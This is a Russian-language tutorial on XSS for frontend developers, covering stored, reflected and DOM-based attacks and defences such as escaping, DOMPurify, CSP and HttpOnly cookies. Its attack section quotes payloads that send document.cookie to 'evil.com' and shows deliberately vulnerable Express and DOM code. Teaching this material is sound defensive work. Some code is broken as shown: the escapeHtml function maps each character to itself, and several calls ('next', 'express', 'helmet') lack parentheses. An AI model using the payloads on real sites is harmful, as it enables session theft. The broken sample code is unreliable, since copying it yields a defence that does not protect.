XSS (Cross-Site Scripting)
XSS — атака, при которой злоумышленник внедряет вредоносный JavaScript в веб-страницу, которую видят другие пользователи.
Зачем нужно
XSS — одна из самых распространённых уязвимостей веба (OWASP Top 10). Через неё крадут куки, перенаправляют пользователей на фишинговые сайты, подменяют контент страницы, выполняют действия от имени жертвы. Каждый фронтенд-разработчик обязан понимать XSS и уметь защищаться.
Где используется
Любое веб-приложение, принимающее пользовательский ввод: комментарии, формы, поиск, профили, чаты. Фреймворки (React, Vue, Angular) защищают от базовых XSS, но не от всех.
Предпосылки
HTML, JavaScript, DOM, HTTP-заголовки
Как работает XSS
1. Злоумышленник отправляет вредоносный ввод:
<script>document.location='https://evil.com/?c='+document.cookie</script>
2. Сервер сохраняет или отражает ввод БЕЗ очистки
3. Жертва открывает страницу → браузер выполняет скрипт
4. Скрипт крадёт куки, токены, данные
3 типа XSS
1. Stored XSS (Хранимый)
Скрипт сохраняется на сервере (в БД) и выполняется у каждого посетителя.
// Пользователь отправляет комментарий:
const comment = '<img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)">';
// Сервер сохраняет в БД как есть
// При отображении:
element.innerHTML = comment; // ОПАСНО! Скрипт выполнится
Пример сценария:
- Злоумышленник оставляет комментарий с
<script>на форуме - Каждый пользователь, открывший страницу, выполняет скрипт
- Скрипт отправляет cookies злоумышленнику
2. Reflected XSS (Отражённый)
Скрипт не хранится, а передаётся через URL и «отражается» в ответе сервера.
// Злоумышленник отправляет ссылку:
https://shop.com/search?q=<script>alert('XSS')</script>
// Сервер возвращает:
<p>Результаты для: <script>alert('XSS')</script></p>
// Node.js/Express — уязвимый код
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Результаты для: ${query}</h1>`); // ОПАСНО!
});
3. DOM-based XSS
Скрипт никогда не отправляется на сервер. Уязвимость целиком на клиенте.
// URL: https://app.com/#<img src=x onerror=alert('XSS')>
// Уязвимый клиентский код:
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // ОПАСНО!
// Ещё примеры уязвимых «стоков» (sinks):
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);
location.href = userInput;
Защита от XSS
1. Экранирование (Escaping)
// Функция экранирования HTML
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (char) => map[char]);
}
// Использование
const userComment = '<script>alert("XSS")</script>';
element.innerHTML = escapeHtml(userComment);
// Результат: <script>alert("XSS")</script>
// Отображается как текст, не выполняется
2. textContent вместо innerHTML
// ОПАСНО:
element.innerHTML = userInput;
// БЕЗОПАСНО:
element.textContent = userInput; // Всегда вставляет как текст
3. Санитизация (DOMPurify)
import DOMPurify from 'dompurify';
// Пользователь может использовать HTML (комментарии с форматированием)
const dirty = '<b>Жирный</b><script>alert("XSS")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Результат: '<b>Жирный</b>' — скрипт и опасные атрибуты удалены
element.innerHTML = clean;
4. Content Security Policy (CSP)
<!-- HTTP-заголовок или meta-тег -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self'">
// Express.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next;
});
CSP запрещает выполнение inline-скриптов и загрузку скриптов с чужих доменов.
5. HttpOnly cookies
// Сервер устанавливает cookie с флагом HttpOnly
res.cookie('session', token, {
httpOnly: true, // JavaScript НЕ может прочитать этот cookie
secure: true, // Только через HTTPS
sameSite: 'Strict',
});
// Даже если XSS сработает, document.cookie не покажет session
6. Защита в React
// React автоматически экранирует:
const userInput = '<script>alert("XSS")</script>';
return <div>{userInput}</div>;
// Рендерится как текст, не как HTML
// ОПАСНО: dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
// Используй ТОЛЬКО с DOMPurify:
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;
7. Серверная защита (Express)
// Экранирование на сервере
const express = require('express');
const helmet = require('helmet');
const app = express;
// Helmet автоматически ставит безопасные заголовки
app.use(helmet);
// Ручная санитизация ввода
const xss = require('xss');
app.post('/comment', (req, res) => {
const clean = xss(req.body.comment);
db.saveComment(clean);
});
Чек-лист защиты от XSS
| Мера | Тип XSS | Приоритет |
|---|---|---|
| textContent вместо innerHTML | Все | Высокий |
| DOMPurify для HTML-контента | Stored, DOM | Высокий |
| CSP заголовки | Все | Высокий |
| HttpOnly cookies | Stored, Reflected | Высокий |
| Экранирование на сервере | Stored, Reflected | Высокий |
| Валидация ввода | Все | Средний |
| Helmet (Express) | Все | Средний |
Частые ошибки
1. Доверие пользовательскому вводу
// ПЛОХО: вставка ввода без проверки
app.get('/profile', (req, res) => {
res.send(`<h1>Привет, ${req.query.name}!</h1>`);
});
// ХОРОШО: экранирование
app.get('/profile', (req, res) => {
res.send(`<h1>Привет, ${escapeHtml(req.query.name)}!</h1>`);
});
2. Только клиентская валидация
// Клиентскую валидацию можно обойти через DevTools или curl
// ВСЕГДА валидируй и на сервере!
3. innerHTML в обработчиках событий
// ПЛОХО:
input.addEventListener('input', (e) => {
preview.innerHTML = e.target.value;
});
// ХОРОШО:
input.addEventListener('input', (e) => {
preview.textContent = e.target.value;
});
Практика
- Создай HTML-страницу с полем ввода. Попробуй ввести
<img src=x onerror=alert(1)>и вставить через innerHTML. Потом замени на textContent. - Установи DOMPurify и протестируй санитизацию:
<b>ok</b><script>bad</script> - Настрой CSP-заголовок в Express-приложении, запрещающий inline-скрипты
- Напиши middleware для Express, который экранирует query-параметры